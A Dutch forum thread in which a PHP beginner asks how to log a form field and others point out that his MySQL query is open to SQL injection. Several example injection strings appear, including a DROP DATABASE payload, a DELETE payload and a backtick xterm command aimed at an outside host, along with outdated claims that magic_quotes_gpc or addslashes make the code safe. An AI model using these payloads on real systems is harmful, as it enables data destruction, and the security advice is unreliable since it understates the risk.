Likes Likes:  0
Resultaten 1 tot 15 van de 34
Pagina 1 van de 3 1 2 3 LaatsteLaatste
Geen
  1. #1
    Erwin J. Loman
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Variabele in logfile

    Hallo,

    Ik ben een redelijke newbie op het gebied van PHP en heb een vraag.
    Ik heb een formulier gemaakt dat enkele variabelen bevat en middels een
    php-script wordt verwerkt in een mysql-database.
    In het php-script zit ook een functie die enkele gegevens van de bezoeker
    verwerkt in het logfile, zoals datum, tijd, IP-nummer, welk php-script wordt
    aangeroepen en wat de bronpagina was.
    Ik wil daar ook graag een variabele uit het formulier in opnemen.

    Een voorbeeld:
    Het script dat wordt uitgevoerd is:
    if ($_POST['Submit'])
    $datum=$_POST['datum'];
    $query=("UPDATE wedstrijd
    SET afgelast = 'J'
    , opmerkingen = 'Afgelast'
    where datum = '$datum'");
    mysql_query($query) or die (mysql_error());

    Het wegschrijven naar het logfile gaat als volgt:

    $logfile = fopen("log_update.txt", "a");
    fputs($logfile, date("d-m-Y, H:i:s", time()) . ", " .
    $REMOTE_ADDR . ", ".
    $PHP_SELF .", ".
    $HTTP_REFERER "\n");
    fclose($logfile);

    Ik wil graag de variabele 'datum' ook naar het logfile wegschrijven.
    Ik krijg het echter niet voor elkaar.

    Heeft iemand tips, of misschien wel de oplossing?

    Alvast bedankt voor de reactie.

    Met vriendelijke groeten,

    Erwin Loman



  2. #2
    Jaap-Andre de Hoop
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile


    >
    >Ik wil graag de variabele 'datum' ook naar het logfile wegschrijven.
    >Ik krijg het echter niet voor elkaar.
    >
    >Heeft iemand tips, of misschien wel de oplossing?


    uhm de variabel $datum opnemen in het lijstje wat weggeschreven moet
    worden of nog beter $_POST[datum], want die is ook binnen functies te
    gebruiken en je hebt er toch niets meegedaan.
    Ik zie geen probleem. Misschien even aangegeven wat je geprobeerd hebt.

    Jaap-Andre

  3. #3
    Arnoud Galactus Engelfriet
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    In article <c03e5t$iio$1@reader08.wxs.nl>,
    Erwin J. Loman <erwin.loman@planet.nl> wrote:
    >Een voorbeeld:
    >Het script dat wordt uitgevoerd is:
    >if ($_POST['Submit'])
    >$datum=$_POST['datum'];
    >$query=("UPDATE wedstrijd
    > SET afgelast = 'J'
    > , opmerkingen = 'Afgelast'
    > where datum = '$datum'");
    >mysql_query($query) or die (mysql_error());


    Even tussendoor: ik zou altijd eerst even controleren of er wel
    een echte datum is opgegeven door de gebruiker. Als ik daar
    rare dingen in zet, kan ik nu willekeurige commando's in jouw
    database uitvoeren.

    >$logfile = fopen("log_update.txt", "a");
    >fputs($logfile, date("d-m-Y, H:i:s", time()) . ", " .
    >$REMOTE_ADDR . ", ".
    >$PHP_SELF .", ".


    Als je hier nu
    $datum .", ".
    toevoegt, wordt die string ook weggeschreven.

    >$HTTP_REFERER "\n");
    >fclose($logfile);


    Wat heb je geprobeerd, en wat voor foutmelding kreeg je? Hoe zag
    de logfile er toen uit?

    Arnoud



    --
    Arnoud Engelfriet, Dutch patent attorney - Speaking only for myself
    Patents, copyright and IPR explained for techies: http://www.iusmentis.com/

  4. #4
    Michiel de Roo
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Arnoud Galactus Engelfriet wrote:
    > In article <c03e5t$iio$1@reader08.wxs.nl>,
    > Erwin J. Loman <erwin.loman@planet.nl> wrote:
    >
    >>Een voorbeeld:
    >>Het script dat wordt uitgevoerd is:
    >>if ($_POST['Submit'])
    >>$datum=$_POST['datum'];
    >>$query=("UPDATE wedstrijd
    >> SET afgelast = 'J'
    >> , opmerkingen = 'Afgelast'
    >> where datum = '$datum'");
    >>mysql_query($query) or die (mysql_error());

    >
    >
    > Even tussendoor: ik zou altijd eerst even controleren of er wel
    > een echte datum is opgegeven door de gebruiker. Als ik daar
    > rare dingen in zet, kan ik nu willekeurige commando's in jouw
    > database uitvoeren.


    Zoals ? Kun je een voorbeeld geven ?

    Michiel.


  5. #5
    Reinier Post
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Michiel de Roo schrijft:

    >Arnoud Galactus Engelfriet wrote:
    >> In article <c03e5t$iio$1@reader08.wxs.nl>,
    >> Erwin J. Loman <erwin.loman@planet.nl> wrote:
    >>
    >>>Een voorbeeld:
    >>>Het script dat wordt uitgevoerd is:
    >>>if ($_POST['Submit'])
    >>>$datum=$_POST['datum'];
    >>>$query=("UPDATE wedstrijd
    >>> SET afgelast = 'J'
    >>> , opmerkingen = 'Afgelast'
    >>> where datum = '$datum'");
    >>>mysql_query($query) or die (mysql_error());

    >>
    >>
    >> Even tussendoor: ik zou altijd eerst even controleren of er wel
    >> een echte datum is opgegeven door de gebruiker. Als ik daar
    >> rare dingen in zet, kan ik nu willekeurige commando's in jouw
    >> database uitvoeren.

    >
    >Zoals ? Kun je een voorbeeld geven ?
    >
    >Michiel.


    Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo 20040404`.
    (Met backquotes dus en een machinenaam zodat de xterm echt werkt.)

    --
    Reinier



  6. #6
    Michiel de Roo
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Reinier Post wrote:
    > Michiel de Roo schrijft:
    >
    >
    >>Arnoud Galactus Engelfriet wrote:
    >>
    >>>In article <c03e5t$iio$1@reader08.wxs.nl>,
    >>>Erwin J. Loman <erwin.loman@planet.nl> wrote:
    >>>
    >>>
    >>>>Een voorbeeld:
    >>>>Het script dat wordt uitgevoerd is:
    >>>>if ($_POST['Submit'])
    >>>>$datum=$_POST['datum'];
    >>>>$query=("UPDATE wedstrijd
    >>>>SET afgelast = 'J'
    >>>>, opmerkingen = 'Afgelast'
    >>>>where datum = '$datum'");
    >>>>mysql_query($query) or die (mysql_error());
    >>>
    >>>
    >>>Even tussendoor: ik zou altijd eerst even controleren of er wel
    >>>een echte datum is opgegeven door de gebruiker. Als ik daar
    >>>rare dingen in zet, kan ik nu willekeurige commando's in jouw
    >>>database uitvoeren.

    >>
    >>Zoals ? Kun je een voorbeeld geven ?
    >>
    >>Michiel.

    >
    >
    > Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo 20040404`.
    > (Met backquotes dus en een machinenaam zodat de xterm echt werkt.)
    >


    Ik heb dit geprobeerd:

    <?
    mysql_connect(............);
    mysql_select_db('test');

    $datum = '`echo "test" > /tmp/test`';
    $query=("UPDATE westrijd
    SET afgelast = 'J'
    , opmerkingen = 'Afgelast'
    where datum = '$datum'");
    mysql_query($query) or die (mysql_error());

    ?>

    Maar er gebeurt niks. De file wordt niet eens aangemaakt. Wat was de
    bedoeling ervan eigenlijk ?


  7. #7
    robert
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Reinier Post <rp@win.tue.nl>:
    > Michiel de Roo schrijft:
    >
    >>Arnoud Galactus Engelfriet wrote:
    >>> In article <c03e5t$iio$1@reader08.wxs.nl>,
    >>> Erwin J. Loman <erwin.loman@planet.nl> wrote:
    >>>
    >>>>Een voorbeeld:
    >>>>Het script dat wordt uitgevoerd is:
    >>>>if ($_POST['Submit'])
    >>>>$datum=$_POST['datum'];
    >>>>$query=("UPDATE wedstrijd
    >>>> SET afgelast = 'J'
    >>>> , opmerkingen = 'Afgelast'
    >>>> where datum = '$datum'");
    >>>>mysql_query($query) or die (mysql_error());
    >>>
    >>>
    >>> Even tussendoor: ik zou altijd eerst even controleren of er wel
    >>> een echte datum is opgegeven door de gebruiker. Als ik daar
    >>> rare dingen in zet, kan ik nu willekeurige commando's in jouw
    >>> database uitvoeren.

    >>
    >>Zoals ? Kun je een voorbeeld geven ?
    >>
    >>Michiel.

    >
    > Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo
    > 20040404`. (Met backquotes dus en een machinenaam zodat de xterm echt
    > werkt.)


    Het is een PHP-script, geen shellscript; code tussen backticks wordt niet
    automagisch geëxpand in PHP.

    Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
    door een query ala (incl quotes):
    '; delete * from wedstrijd where datum is not '

    Tenminste, als MySQL meerdere queries in één mysql_query()-aanroep
    accepteert. Anders zou je met subselects kunnen werken of zo.

    --
    robert

  8. #8
    Michiel de Roo
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    robert wrote:
    > Reinier Post <rp@win.tue.nl>:
    > > Michiel de Roo schrijft:
    > >
    > >>Arnoud Galactus Engelfriet wrote:
    > >>> In article <c03e5t$iio$1@reader08.wxs.nl>,
    > >>> Erwin J. Loman <erwin.loman@planet.nl> wrote:
    > >>>
    > >>>>Een voorbeeld:
    > >>>>Het script dat wordt uitgevoerd is:
    > >>>>if ($_POST['Submit'])
    > >>>>$datum=$_POST['datum'];
    > >>>>$query=("UPDATE wedstrijd
    > >>>> SET afgelast = 'J'
    > >>>> , opmerkingen = 'Afgelast'
    > >>>> where datum = '$datum'");
    > >>>>mysql_query($query) or die (mysql_error());
    > >>>
    > >>>
    > >>> Even tussendoor: ik zou altijd eerst even controleren of er wel
    > >>> een echte datum is opgegeven door de gebruiker. Als ik daar
    > >>> rare dingen in zet, kan ik nu willekeurige commando's in jouw
    > >>> database uitvoeren.
    > >>
    > >>Zoals ? Kun je een voorbeeld geven ?
    > >>
    > >>Michiel.

    > >
    > > Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo
    > > 20040404`. (Met backquotes dus en een machinenaam zodat de xterm echt
    > > werkt.)

    >
    > Het is een PHP-script, geen shellscript; code tussen backticks wordt niet
    > automagisch geëxpand in PHP.
    >
    > Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
    > door een query ala (incl quotes):
    > '; delete * from wedstrijd where datum is not '


    Niet als je magic_quotes_gpc aan hebt staan (standaard waarde). De hele
    string inclusief quotes wordt dan als $datum waarde beschouwd, wat
    hoogstwaarschijnlijk niks oplevert, omdat er niet zo'n datum is.

    >
    > Tenminste, als MySQL meerdere queries in één mysql_query()-aanroep
    > accepteert.


    Nee dus. Dit kan wel vanuit een batch script, maar niet vanuit PHP.

    Anders zou je met subselects kunnen werken of zo.

    Een subselect is geen subdelete. Een subdelete bestaat niet. En al zou het
    bestaan dan kon het nog niet, omdat de hele $datum string tussen quotes
    staat. http://www.mysql.com/doc/en/Subqueries.html








  9. #9
    robert
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Michiel de Roo <michiel@mderooPUNTNL>:
    > robert wrote:
    >>
    >> Het is een PHP-script, geen shellscript; code tussen backticks wordt niet
    >> automagisch geëxpand in PHP.
    >>
    >> Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
    >> door een query ala (incl quotes):
    >> '; delete * from wedstrijd where datum is not '

    >
    > Niet als je magic_quotes_gpc aan hebt staan (standaard waarde). De hele
    > string inclusief quotes wordt dan als $datum waarde beschouwd, wat
    > hoogstwaarschijnlijk niks oplevert, omdat er niet zo'n datum is.


    Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat

    >> Tenminste, als MySQL meerdere queries in één mysql_query()-aanroep
    >> accepteert.

    >
    > Nee dus.


    En toch vertrouw ik meer op prepared statements

    --
    robert

  10. #10
    Michiel de Roo
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    robert wrote:
    > Michiel de Roo <michiel@mderooPUNTNL>:
    > > robert wrote:
    > >> Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
    > >> door een query ala (incl quotes):
    > >> '; delete * from wedstrijd where datum is not '

    > >
    > > Niet als je magic_quotes_gpc aan hebt staan (standaard waarde). De hele
    > > string inclusief quotes wordt dan als $datum waarde beschouwd, wat
    > > hoogstwaarschijnlijk niks oplevert, omdat er niet zo'n datum is.

    >
    > Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat


    Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .


  11. #11
    robert
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Michiel de Roo <michiel@mderooPUNTNL>:
    > robert wrote:
    >
    >> Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat
    >>

    >
    > Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .


    Voor zover je rechten daartoe hebt, natuurlijk.

    --
    robert

  12. #12
    Arnoud Galactus Engelfriet
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    In article <40269a3d$0$155$e4fe514c@news.xs4all.nl>,
    Michiel de Roo <michiel@mderooPUNTNL> wrote:
    >Arnoud Galactus Engelfriet wrote:
    >>>$query=("UPDATE wedstrijd
    >>> SET afgelast = 'J'
    >>> , opmerkingen = 'Afgelast'
    >>> where datum = '$datum'");
    >>>mysql_query($query) or die (mysql_error());

    >>
    >>
    >> Even tussendoor: ik zou altijd eerst even controleren of er wel
    >> een echte datum is opgegeven door de gebruiker. Als ik daar
    >> rare dingen in zet, kan ik nu willekeurige commando's in jouw
    >> database uitvoeren.

    >
    >Zoals ? Kun je een voorbeeld geven ?


    De truc is dat je in SQL statements een ';' kunt gebruiken om
    commando's van elkaar te scheiden. Stel ik vul als datum in
    20040209';DROP DATABASE #
    dan maakt bovenstaande PHP-statement de volgende query:
    UPDATE wedstrijd SET afgelast = 'J', opmerkingen = 'Afgelast'
    where datum = '20040209';DROP DATABASE #'
    Ofwel: update die tabel en gooi dan de hele database weg.

    Vandaar dus eerst de input valideren. Bijvoorbeeld via een
    regular expression kijken of het wel alleen getallen zijn, of
    iets dergelijks.

    Arnoud

    --
    Arnoud Engelfriet, Dutch patent attorney - Speaking only for myself
    Patents, copyright and IPR explained for techies: http://www.iusmentis.com/

  13. #13
    Michiel de Roo
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Arnoud Galactus Engelfriet wrote:
    > In article <40269a3d$0$155$e4fe514c@news.xs4all.nl>,
    > Michiel de Roo <michiel@mderooPUNTNL> wrote:
    >
    >>Arnoud Galactus Engelfriet wrote:
    >>
    >>>>$query=("UPDATE wedstrijd
    >>>>SET afgelast = 'J'
    >>>>, opmerkingen = 'Afgelast'
    >>>>where datum = '$datum'");
    >>>>mysql_query($query) or die (mysql_error());
    >>>
    >>>
    >>>Even tussendoor: ik zou altijd eerst even controleren of er wel
    >>>een echte datum is opgegeven door de gebruiker. Als ik daar
    >>>rare dingen in zet, kan ik nu willekeurige commando's in jouw
    >>>database uitvoeren.

    >>
    >>Zoals ? Kun je een voorbeeld geven ?

    >
    >
    > De truc is dat je in SQL statements een ';' kunt gebruiken om
    > commando's van elkaar te scheiden.


    Niet met PHP/MySQL dus.

    Stel ik vul als datum in
    > 20040209';DROP DATABASE #
    > dan maakt bovenstaande PHP-statement de volgende query:
    > UPDATE wedstrijd SET afgelast = 'J', opmerkingen = 'Afgelast'
    > where datum = '20040209';DROP DATABASE #'
    > Ofwel: update die tabel en gooi dan de hele database weg.


    Nee hoor, er wordt helemaal niets gedropt en ook niets geselecteerd. De
    datum "20040209';DROP DATABASE #" bestaat namelijk niet.

    >
    > Vandaar dus eerst de input valideren. Bijvoorbeeld via een
    > regular expression kijken of het wel alleen getallen zijn, of
    > iets dergelijks.


    Het valt me op dat een boel mensen maar roept dat er van alles mogelijk
    is. Als ik het dan probeer gebeurt er niets of krijg ik errors. Heb je dit
    zelf geprobeerd ? met PHP/MySQL ? Ik krijg het niet voor elkaar. En alle
    soortgelijke truuken ook niet.

    Michiel.


  14. #14
    robert
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    Michiel de Roo <michiel@mderooPUNTNL>:
    > Arnoud Galactus Engelfriet wrote:
    >> Vandaar dus eerst de input valideren. Bijvoorbeeld via een regular
    >> expression kijken of het wel alleen getallen zijn, of iets dergelijks.

    >
    > Het valt me op dat een boel mensen maar roept dat er van alles mogelijk
    > is. Als ik het dan probeer gebeurt er niets of krijg ik errors. Heb je
    > dit zelf geprobeerd ? met PHP/MySQL ? Ik krijg het niet voor elkaar. En
    > alle soortgelijke truuken ook niet.


    En nu met magic quotes uit?

    --
    robert

  15. #15
    Michiel de Roo
    Variabele in logfile
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Variabele in logfile

    robert wrote:
    > Michiel de Roo <michiel@mderooPUNTNL>:
    > > robert wrote:
    > >
    > >> Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat
    > >>

    > >
    > > Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .

    >
    > Voor zover je rechten daartoe hebt, natuurlijk.
    >


    Elke hosting die magic_quotes_gpc uit heeft staan en geen .htaccess
    rechten geeft zou je onmiddelijk moeten opzeggen zonder te betalen. Dit
    valt namelijk onder wanprestatie.

    Wil je het toch houden, tja dan heb je een probleem en zul je het
    softwarematig moeten gaan oplossen, bijvoorbeeld met addslashes(...)



Pagina 1 van de 3 1 2 3 LaatsteLaatste

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics